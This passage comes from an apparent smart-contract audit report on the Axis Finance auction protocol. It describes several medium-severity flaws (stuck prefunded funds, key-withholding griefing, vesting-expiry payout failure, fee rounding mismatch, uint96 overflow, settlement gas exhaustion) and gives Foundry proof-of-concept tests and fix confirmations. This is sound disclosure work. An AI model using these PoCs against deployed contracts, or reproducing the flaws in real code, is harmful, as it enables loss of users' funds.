        FixedPriceAuctionModule.FixedPriceParams  memory myStruct =
↪   FixedPriceAuctionModule.FixedPriceParams({
            price: uint96(1e18),
            maxPayoutPercent: uint24(1e5)
        });

        Auctioneer.RoutingParams memory routingA = Auctioneer.RoutingParams({
            auctionType: keycode,
            baseToken: mockBaseToken,
            quoteToken: mockQuoteToken,
            curator: curator,
            callbacks: ICallback(address(0)),
            callbackData: abi.encode(""),
            derivativeType: toKeycode(""),
            derivativeParams: _derivativeParams,
            wrapDerivative: false,
            prefunded: true
        });

        Auction.AuctionParams memory paramsA = Auction.AuctionParams({
            start: 0,
            duration: 1 days,
            capacityInQuote: false,
            capacity: lotCapacity,
            implParams: abi.encode(myStruct)
        });

        string memory infoHashA;
        auctionHouse.auction(routingA, paramsA, infoHashA);
        vm.stopPrank();

        vm.startPrank(bob);
        uint96 fundingBeforePurchase;
        uint96 fundingAfterPurchase;
        (,fundingBeforePurchase,,,,,,) = auctionHouse.lotRouting(0);
        console2.log("Here is the funding normalized before purchase: ",
↪   fundingBeforePurchase/1e18);
        mockQuoteToken.mint(bob, 10_000_000_000e18);
        mockQuoteToken.approve(address(auctionHouse), type(uint256).max);
        Router.PurchaseParams memory purchaseParams = Router.PurchaseParams({
            recipient: bob,
            referrer: address(0),
```


```
            lotId: 0,
            amount: 10_000_000_000e18,
            minAmountOut: 10_000_000_000e18,
            auctionData: abi.encode(0),
            permit2Data: ""
        });
        bytes memory callbackData = "";
        auctionHouse.purchase(purchaseParams, callbackData);
        (,fundingAfterPurchase,,,,,,) = auctionHouse.lotRouting(0);
        console2.log("Here is the funding normalized after purchase: ",
↪   fundingAfterPurchase/1e18);
        console2.log("Balance of seler of quote tokens: ",
↪   mockQuoteToken.balanceOf(alice)/1e18);
        console2.log("Balance of bob in base token: ",
↪   mockBaseToken.balanceOf(bob)/1e18);
        console2.log("Balance of auction house in base token: ",
↪   mockBaseToken.balanceOf(address(auctionHouse)) /1e18);
        skip(86401);
        vm.stopPrank();

        vm.startPrank(alice);
        vm.expectRevert(
            abi.encodeWithSelector(Auction.Auction_MarketNotActive.selector, 0)
        );
        auctionHouse.cancel(uint96(0), callbackData);
        vm.stopPrank();
    }
```

```
Logs:
  Here is the funding normalized before purchase:  75000000000
  Here is the funding normalized after purchase:  65000000000
  Balance of seler of quote tokens:  10000000000
  Balance of bob in base token:  10000000000
  Balance of auction house in base token:  65000000000
```

To run the test use: `forge test -vvv --mt test_FundedPriceAuctionStuckFunds`

Impact

If a prefunded **FPAM** auction concludes and there are still tokens, not bought from the users, they will be stuck in the `Axis-Finance` protocol.

Code Snippet

Tool used

Manual Review & Foundry

Recommendation

Implement a function, that allows sellers to withdraw the amount left for a prefunded **FPAM** auction they have created, once the auction has concluded.

Discussion

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Axis-Fi/moonraker/pull/132

10xhash

> The protocol team fixed this issue in the following PRs/commits:
> Axis-Fi/moonraker#132

Fixed Now FPAM auctions are not prefunded

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue M-4: User's can be grieved by not submitting the private key

Source: https://github.com/sherlock-audit/2024-03-axis-finance-judging/issues/174

Found by

FindEverythingX, devblixt, hash, jecikpo, merlin, novaman33, underdog

Summary

User's can be grieved by not submitting the private key

Vulnerability Detail

Bids cannot be refunded once the auction concludes. And bids cannot be claimed until the auction has been settled. Similarly a EMPAM auction cannot be cancelled once started.

```
function claimBids(
    uint96 lotId_,
    uint64[] calldata bidIds_
)
    external
    override
    onlyInternal
    returns (BidClaim[] memory bidClaims, bytes memory auctionOutput)
{
    // Standard validation
    _revertIfLotInvalid(lotId_);
    _revertIfLotNotSettled(lotId_);
```

```
function refundBid(
    uint96 lotId_,
    uint64 bidId_,
    address caller_
) external override onlyInternal returns (uint96 refund) {
    // Standard validation
    _revertIfLotInvalid(lotId_);
    _revertIfBeforeLotStart(lotId_);
    _revertIfBidInvalid(lotId_, bidId_);
    _revertIfNotBidOwner(lotId_, bidId_, caller_);
    _revertIfBidClaimed(lotId_, bidId_);
```

```
    _revertIfLotConcluded(lotId_);
```

```
function _cancelAuction(uint96 lotId_) internal override {
    // Validation
    // Batch auctions cannot be cancelled once started, otherwise the seller
    ↪ could cancel the auction after bids have been submitted
    _revertIfLotActive(lotId_);
```

```
function cancelAuction(uint96 lotId_) external override onlyInternal {
    // Validation
    _revertIfLotInvalid(lotId_);
    _revertIfLotConcluded(lotId_);
```

```
function _settle(uint96 lotId_)
    internal
    override
    returns (Settlement memory settlement_, bytes memory auctionOutput_)
{
    // Settle the auction
    // Check that auction is in the right state for settlement
    if (auctionData[lotId_].status != Auction.Status.Decrypted) {
        revert Auction_WrongState(lotId_);
    }
```

For EMPAM auctions, the private key associated with the auction has to be submitted before the auction can be settled. In auctions where the private key is held by the seller, they can grief the bidder's or in cases where a key management solution is used, both seller and bidder's can be griefed by not submitting the private key.

Impact

User's will not be able to claim their assets in case the private key holder doesn't submit the key for decryption

Code Snippet

https://github.com/sherlock-audit/2024-03-axis-finance/blob/cadf331f12b485bac184111cdc9ba1344d9fbf01/moonraker/src/modules/auctions/EMPAM.sol#L747-L756

Tool used

Manual Review

Recommendation

Acknowledge the risk involved for the seller and bidder

Discussion

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Axis-Fi/moonraker/pull/143

10xhash

> The protocol team fixed this issue in the following PRs/commits:
> Axis-Fi/moonraker#143

Fixed Now bidder's can claim refund unless the private key is submitted following a dedicatedSettlePeriod

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue M-5: Bidder's payout claim could fail due to validation checks in LinearVesting

Source: https://github.com/sherlock-audit/2024-03-axis-finance-judging/issues/178

Found by

Aymen0909, FindEverythingX, ether_sky, hash, sl1

Summary

Bidder's payout claim will fail due to validation checks in LinearVesting after the expiry timestamp

Vulnerability Detail

Bidder's payout are sent by internally calling the `_sendPayout` function. In case the payout is a derivative which has already expired, this will revert due to the validation check of `block.timestmap < expiry` present in the mint function of LinearVesting derivative

```
    function _sendPayout(
        address recipient_,
        uint256 payoutAmount_,
        Routing memory routingParams_,
        bytes memory
    ) internal {

        if (fromVeecode(derivativeReference) == bytes7("")) {
            Transfer.transfer(baseToken, recipient_, payoutAmount_, true);
        }
        else {

            DerivativeModule module =
↪   DerivativeModule(_getModuleIfInstalled(derivativeReference));

            Transfer.approve(baseToken, address(module), payoutAmount_);

=>          module.mint(
                recipient_,
                address(baseToken),
                routingParams_.derivativeParams,
                payoutAmount_,
```

```
                routingParams_.wrapDerivative
            );
```

```
function mint(
    address to_,
    address underlyingToken_,
    bytes memory params_,
    uint256 amount_,
    bool wrapped_
)
    external
    virtual
    override
    returns (uint256 tokenId_, address wrappedAddress_, uint256 amountCreated_)
{
    if (amount_ == 0) revert InvalidParams();

    VestingParams memory params = _decodeVestingParams(params_);

    if (_validate(underlyingToken_, params) == false) {
        revert InvalidParams();
    }
```

```
    function _validate(
        address underlyingToken_,
        VestingParams memory data_
    ) internal view returns (bool) {

        ....

=>      if (data_.expiry < block.timestamp) return false;


        // Check that the underlying token is not 0
        if (underlyingToken_ == address(0)) return false;


        return true;
    }
```

Hence the user's won't be able to claim their payouts of an auction once the derivative has expired. For EMPAM auctions, a seller can also wait till this timestmap passes before revealing their private key which will disallow bidders from claiming their rewards.

Impact

Bidder's won't be able claim payouts from auction after the derivative expiry timestamp

Code Snippet

_sendPayout invoking mint function on derivative to send payouts https://github.com/sherlock-audit/2024-03-axis-finance/blob/cadf331f12b485bac184111cdc9ba1344d9fbf01/moonraker/src/AuctionHouse.sol#L823-L829

linear vesting derivative expiry checks https://github.com/sherlock-audit/2024-03-axis-finance/blob/cadf331f12b485bac184111cdc9ba1344d9fbf01/moonraker/src/modules/derivatives/LinearVesting.sol#L521-L541

Tool used

Manual Review

Recommendation

Allow to mint tokens even after expiry of the vesting token / deploy the derivative token first itself and when making the payout, transfer the base token directly incase the expiry time is passed

Discussion

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits: https://github.com/Axis-Fi/moonraker/pull/116

10xhash

> The protocol team fixed this issue in the following PRs/commits: Axis-Fi/moonraker#116

Fixed The expiry check is now removed

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue M-6: Inaccurate value is used for partial fill quote amount when calculating fees

Source: https://github.com/sherlock-audit/2024-03-axis-finance-judging/issues/182

Found by

hash

Summary

Inaccurate value is used for partial fill quote amount when calculating fees which can cause reward claiming / payment withdrawal to revert

Vulnerability Detail

The fees of an auction is managed as follows:

1. Whenever a bidder claims their payout, calculate the amount of quote tokens that should be collected as fees (instead of giving the entire quote amount to the seller) and add this to the protocol / referrers rewards

```
    function claimBids(uint96 lotId_, uint64[] calldata bidIds_) external
↪   override nonReentrant {

        ....

        for (uint256 i = 0; i < bidClaimsLen; i++) {
            Auction.BidClaim memory bidClaim = bidClaims[i];

            if (bidClaim.payout > 0) {

=>              _allocateQuoteFees(
                    protocolFee,
                    referrerFee,
                    bidClaim.referrer,
                    routing.seller,
                    routing.quoteToken,
=>                  bidClaim.paid
                );
```

Here bidClaim.paid is the amount of quote tokens that was transferred in by the bidder for the purchase

```
function _allocateQuoteFees(
    uint96 protocolFee_,
    uint96 referrerFee_,
    address referrer_,
    address seller_,
    ERC20 quoteToken_,
    uint96 amount_
) internal returns (uint96 totalFees) {
    // Calculate fees for purchase
    (uint96 toReferrer, uint96 toProtocol) = calculateQuoteFees(
        protocolFee_, referrerFee_, referrer_ != address(0) && referrer_ !=
↪   seller_, amount_
    );

    // Update fee balances if non-zero
    if (toReferrer > 0) rewards[referrer_][quoteToken_] += uint256(toReferrer);
    if (toProtocol > 0) rewards[_protocol][quoteToken_] += uint256(toProtocol);


    return toReferrer + toProtocol;
}
```

2. Whenever the seller calls claimProceeds to withdraw the amount of quote tokens received from the auction, subtract the quote fees and give out the remaining

```
    function claimProceeds(
        uint96 lotId_,
        bytes calldata callbackData_
    ) external override nonReentrant {

        ....

        uint96 totalInLessFees;
        {
=>          (, uint96 toProtocol) = calculateQuoteFees(
                lotFees[lotId_].protocolFee, lotFees[lotId_].referrerFee, false,
↪   purchased_
            );
            unchecked {
=>              totalInLessFees = purchased_ - toProtocol;
            }
        }
```

Here purchased is the total quote token amount that was collected for this auction.

In case the fees calculated in claimProceeds is less than the sum of fees allocated to the protocol / referrer via claimBids, there will be a mismatch causing the sum of (fees allocated + seller purchased quote tokens) to be greater than the total quote token amount that was transferred in for the auction. This could cause either the protocol/referrer to not obtain their rewards or the seller to not be able to claim the purchased tokens in case there are no excess quote token present in the auction house contract.

In case, totalPurchased is >= sum of all individual bid quote token amounts (as it is supposed to be), the fee allocation would be correct. But due to the inaccurate computation of the input quote token amount associated with a partial fill, it is possible for the above scenario (ie. `fees calculated in claimProceeds is less than the sum of fees allocated to the protocol / referrer via claimBids`) to occur

```
    function settle(uint96 lotId_) external override nonReentrant {

        ....

            if (settlement.pfBidder != address(0)) {

                _allocateQuoteFees(
                    feeData.protocolFee,
                    feeData.referrerFee,
                    settlement.pfReferrer,
                    routing.seller,
                    routing.quoteToken,

                    // @audit this method of calculating the input quote token
 ↪  amount associated with a partial fill is not accurate
                    uint96(
=>                      Math.mulDivDown(
                            settlement.pfPayout, settlement.totalIn,
 ↪  settlement.totalOut
                        )
                    )
```

The above method of calculating the input token amount associated with a partial fill can cause this value to be higher than the acutal value and hence the fees allocated will be less than what the fees that will be captured from the seller will be

POC

Apply the following diff to `test/AuctionHouse/AuctionHouseTest.sol` and run `forge test --mt testHash_SpecificPartialRounding -vv`

It is asserted that the tokens allocated as fees is greater than the tokens that will be captured from a seller for fees

```
diff --git a/moonraker/test/AuctionHouse/AuctionHouseTest.sol
 ↪  b/moonraker/test/AuctionHouse/AuctionHouseTest.sol
index 44e717d..9b32834 100644
--- a/moonraker/test/AuctionHouse/AuctionHouseTest.sol
+++ b/moonraker/test/AuctionHouse/AuctionHouseTest.sol
@@ -6,6 +6,8 @@ import {Test} from "forge-std/Test.sol";
 import {ERC20} from "solmate/tokens/ERC20.sol";
 import {Transfer} from "src/lib/Transfer.sol";
 import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol";
+import {SafeCastLib} from "solmate/utils/SafeCastLib.sol";
+

 // Mocks
 import {MockAtomicAuctionModule} from
 ↪  "test/modules/Auction/MockAtomicAuctionModule.sol";
@@ -134,6 +136,158 @@ abstract contract AuctionHouseTest is Test, Permit2User {
         _bidder = vm.addr(_bidderKey);
     }

+        function testHash_SpecificPartialRounding() public {
+        /*
+            capacity 1056499719758481066
+            previous total amount 1000000000000000000
+            bid amount 2999999999999999999997
+            price 2556406087578254783645
+            fullFill 1173497411705521567
+            excess 117388857750942341
+            pfPayout 1056108553954579226
+            pfRefund 300100000000000000633
+            new totalAmountIn 2700899999999999999364
+            usedContributionForQuoteFees 2699900000000000000698
+            quoteTokens1 1000000
+            quoteTokens2 2699900000
+            quoteTokensAllocated 2700899999
+        */
+
+        uint bidAmount = 2999999999999999999997;
+        uint marginalPrice = 2556406087578254783645;
+        uint capacity = 1056499719758481066;
+        uint previousTotalAmount = 1000000000000000000;
+        uint baseScale = 1e18;
+
+        // hasn't reached the capacity with previousTotalAmount
+        assert(
```

```
+            FixedPointMathLib.mulDivDown(previousTotalAmount, baseScale,
↪  marginalPrice) <
+                capacity
+        );
+
+        uint capacityExpended = FixedPointMathLib.mulDivDown(
+            previousTotalAmount + bidAmount,
+            baseScale,
+            marginalPrice
+        );
+        assert(capacityExpended > capacity);
+
+        uint totalAmountIn = previousTotalAmount + bidAmount;
+
+        uint256 fullFill = FixedPointMathLib.mulDivDown(
+            uint256(bidAmount),
+            baseScale,
+            marginalPrice
+        );
+
+        uint256 excess = capacityExpended - capacity;
+
+        uint pfPayout = SafeCastLib.safeCastTo96(fullFill - excess);
+        uint pfRefund = SafeCastLib.safeCastTo96(
+            FixedPointMathLib.mulDivDown(uint256(bidAmount), excess, fullFill)
+        );
+
+        totalAmountIn -= pfRefund;
+
+        uint usedContributionForQuoteFees;
+        {
+            uint totalOut = SafeCastLib.safeCastTo96(
+                capacityExpended > capacity ? capacity : capacityExpended
+            );
+
+            usedContributionForQuoteFees = FixedPointMathLib.mulDivDown(
+                pfPayout,
+                totalAmountIn,
+                totalOut
+            );
+        }
+
+        {
+            uint actualContribution = bidAmount - pfRefund;
+
+            // acutal contribution is less than the usedContributionForQuoteFees
+            assert(actualContribution < usedContributionForQuoteFees);
```


```
+            console2.log("actual contribution", actualContribution);
+            console2.log(
+                "used contribution for fees",
+                usedContributionForQuoteFees
+            );
+        }
+
+        // calculating quote fees allocation
+        // quote fees captured from the seller
+        {
+            (, uint96 quoteTokensAllocated) = calculateQuoteFees(
+                1e3,
+                0,
+                false,
+                SafeCastLib.safeCastTo96(totalAmountIn)
+            );
+
+            // quote tokens that will be allocated for the earlier bid
+            (, uint96 quoteTokens1) = calculateQuoteFees(
+                1e3,
+                0,
+                false,
+                SafeCastLib.safeCastTo96(previousTotalAmount)
+            );
+
+            // quote tokens that will be allocated for the partial fill
+            (, uint96 quoteTokens2) = calculateQuoteFees(
+                1e3,
+                0,
+                false,
+                SafeCastLib.safeCastTo96(usedContributionForQuoteFees)
+            );
+
+            console2.log("quoteTokens1", quoteTokens1);
+            console2.log("quoteTokens2", quoteTokens2);
+            console2.log("quoteTokensAllocated", quoteTokensAllocated);
+
+            // quoteToken fees allocated is greater than what will be captured
 ↪  from seller
+            assert(quoteTokens1 + quoteTokens2 > quoteTokensAllocated);
+        }
+    }
+
+        function calculateQuoteFees(
+        uint96 protocolFee_,
+        uint96 referrerFee_,
+        bool hasReferrer_,
```

```
+        uint96 amount_
+    ) public pure returns (uint96 toReferrer, uint96 toProtocol) {
+        uint _FEE_DECIMALS = 5;
+        uint96 feeDecimals = uint96(_FEE_DECIMALS);
+
+        if (hasReferrer_) {
+            // In this case we need to:
+            // 1. Calculate referrer fee
+            // 2. Calculate protocol fee as the total expected fee amount minus
 ↪  the referrer fee
+            //    to avoid issues with rounding from separate fee calculations
+            toReferrer = uint96(
+                FixedPointMathLib.mulDivDown(amount_, referrerFee_, feeDecimals)
+            );
+            toProtocol =
+                uint96(
+                    FixedPointMathLib.mulDivDown(
+                        amount_,
+                        protocolFee_ + referrerFee_,
+                        feeDecimals
+                    )
+                ) -
+                toReferrer;
+        } else {
+            // If there is no referrer, the protocol gets the entire fee
+            toProtocol = uint96(
+                FixedPointMathLib.mulDivDown(
+                    amount_,
+                    protocolFee_ + referrerFee_,
+                    feeDecimals
+                )
+            );
+        }
+    }
+
+

     // ===== Helper Functions ===== //

     function _mulDivUp(uint96 mul1_, uint96 mul2_, uint96 div_) internal pure
 ↪  returns (uint96) {
```

Impact

Rewards might not be collectible or seller might not be able to claim the proceeds due to lack of tokens

Code Snippet

inaccurate computation of the input quote token value for allocating fees
https://github.com/sherlock-audit/2024-03-axis-finance/blob/cadf331f12b485bac184111cdc9ba1344d9fbf01/moonraker/src/AuctionHouse.sol#L512-L515

Tool used

Manual Review

Recommendation

Use `bidAmount - pfRefund` as the quote token input amount value instead of computing the current way

Discussion

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Axis-Fi/moonraker/pull/140

10xhash

> The protocol team fixed this issue in the following PRs/commits:
> Axis-Fi/moonraker#140

Fixed The partial bid amount for quote fees is now calculated as `bidClaim.paid - bidClaim.refund`

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue M-7: Unsafe casting within _purchase function can result in overflow

Source: https://github.com/sherlock-audit/2024-03-axis-finance-judging/issues/204

Found by

FindEverythingX

Summary

Unsafe casting within _purchase function can result in overflow

Vulnerability Detail

Contract: FPAM.sol

The _purchase function is invoked whenever a user wants to buy some tokens from an FPAM auction.

Note how the amount_ parameter is from type uint96:

https://github.com/sherlock-audit/2024-03-axis-finance/blob/main/moonraker/src/modules/auctions/FPAM.sol#L128

The payout is then calculated as follows:

amount * 10^baseTokenDecimals / price

https://github.com/sherlock-audit/2024-03-axis-finance/blob/main/moonraker/src/modules/auctions/FPAM.sol#L135

The crux: The quote token can be with 6 decimals and the base token with 18 decimals.

This would then potentially result in an overflow and the payout is falsified.

Consider the following PoC:

amount = 1_000_000_000e6 (fees can be deducted or not, this does not matter for this PoC)

baseTokenDecimals = 18

price = 1e4

This price basically means, a user will receive 1e18 BASE tokens for 1e4 (0.01) QUOTE tokens, respectively a user must provide 1e4 (0.01) QUOTE tokens to receive 1e18 BASE tokens

The calculation would be as follows:

1_000_000_000e6 * 1e18 / 1e4 = 1e29

while uint96.max = 7.922....e28

Therefore, the result will be casted to uint96 and overflow, it would effectively manipulate the auction outcome, which can result in a loss of funds for the buyer, because he will receive less BASE tokens than expected (due to the overflow).

It is clear that this calculation example can work on multiple different scenarios (even though only very limited because of the high bidding [amount] size) . However, using BASE token with 18 decimals and QUOTE token with 6 decimals will more often result in such an issue.

This issue is only rated as medium severity because the buyer can determine a minAmountOut parameter. The problem is however the auction is a fixed price auction and the buyer already knows the price and the amount he provides, which gives him exactly the fixed output amount. Therefore, there is usually absolutely no slippage necessity to be set by the buyer and lazy buyers might just set this to zero.

Impact

IMPACT:

a) Loss of funds for buyer

Code Snippet

https://github.com/sherlock-audit/2024-03-axis-finance/blob/main/moonraker/src/modules/auctions/FPAM.sol#L128 https://github.com/sherlock-audit/2024-03-axis-finance/blob/main/moonraker/src/modules/auctions/FPAM.sol#L135

Tool used

Manual Review

Recommendation

Consider simply switching to a uint256 approach, this should be adapted in the overall architecture. The only important thing (as far as I have observed) is to make sure the heap mechanism does not overflow when calculating the relative values:

https://github.com/sherlock-audit/2024-03-axis-finance/blob/main/moonraker/src/lib/MaxPriorityQueue.sol#L114

Discussion

0xJem

I would rate this low priority.

It is possible, but highly unlikely as it requires all of these conditions to be met:

- The lot capacity would need to be close to the maximum (uint96 max)
- The max payout needs to be 100%
- The quote token decimals need to be low
- The price needs to be low

Oighty

I do think this is valid. I'll leave it up to the judge to determine severity. The fact that the buyer can receive much fewer tokens than expected, even in an outlandish scenario, shouldn't be possible.

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Axis-Fi/moonraker/pull/130

10xhash

> The protocol team fixed this issue in the following PRs/commits:
> Axis-Fi/moonraker#130

Fixed uint256 is now used, avoiding the unsafe casting

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue M-8: Settlement of batch auction can exceed the gas limit

Source: https://github.com/sherlock-audit/2024-03-axis-finance-judging/issues/237

Found by

0xR360, Kose, MrjoryStewartBaxter, flacko, shaka

Summary

Settlement of batch auction can exceed the gas limit, making it impossible to settle the auction.

Vulnerability Detail

When a batch auction (EMPAM) is settled, to calculate the lot marginal price, the contract iterates over all bids until the capacity is reached or a bid below the minimum price is found.

As some of the operations performed in the loop are gas-intensive, the contract may run out of gas if the number of bids is too high.

Note that additionally, there is another loop in the `_settle` function that iterates over all the remaining bids to delete them from the queue. While this loop consumes much less gas per iteration and would require the number of bids to be much higher to run out of gas, it adds to the problem.

Impact

Settlement of batch auction will revert, causing sellers and bidders to lose their funds.

Code Snippet

https://github.com/sherlock-audit/2024-03-axis-finance/blob/main/moonraker/src/modules/auctions/EMPAM.sol#L611-L651

Proof of concept

Change the minimum bid percent to 0.1% in the `EmpaModuleTest` contract in `EMPAModuleTest.sol`.

```
-   uint24 internal constant _MIN_BID_PERCENT = 1000; // 1%
+   uint24 internal constant _MIN_BID_PERCENT = 100; // 0.1%
```

Add the following code to the contract `EmpaModuleSettleTest` in `settle.t.sol` and run `forge test --mt test_settleOog`.

```
modifier givenBidsCreated() {
    uint96 amountOut = 0.01e18;
    uint96 amountIn = 0.01e18;
    uint256 numBids = 580;

    for (uint256 i = 0; i < numBids; i++) {
        _createBid(_BIDDER, amountIn, amountOut);
    }

    _;
}

function test_settleOog() external
    givenLotIsCreated
    givenLotHasStarted
    givenBidsCreated
    givenLotHasConcluded
    givenPrivateKeyIsSubmitted
    givenLotIsDecrypted
{
    uint256 gasBefore = gasleft();
    _settle();

    assert(gasBefore - gasleft() > 30_000_000);
}
```

Tool used

Manual Review

Recommendation

An easy way to tackle the issue would be to change the `_MIN_BID_PERCENT` value from 10 (0.01%) to 1000 (1%) in the `EMPAM.sol` contract, which would limit the number of iterations to 100.

A more appropriate solution, if it is not acceptable to increase the min bid percent, would be to change the settlement logic so that can be handled in batches of bids

to avoid running out of gas.

In both cases, it would also be recommended to limit the number of decrypted bids that can be deleted from the queue in a single transaction.

Discussion

Oighty

Acknowledge. This is valid. We had changed the queue implementation to be less gas intensive on inserts, but it ended up making removals (i.e. settle) more expensive. A priority for us is supporting as many bids on settlement as we can (which allows smaller bid sizes). We're likely going to switch to a linked list implementation to achieve this.

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Axis-Fi/moonraker/pull/137

10xhash

> The protocol team fixed this issue in the following PRs/commits:
> Axis-Fi/moonraker#137

Fixed The implementation is changed from heap to linked list to reduce the gas cost and the max bid count for settlement is reduced to 2500 making the max gas expenditure around 8million for settlement

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.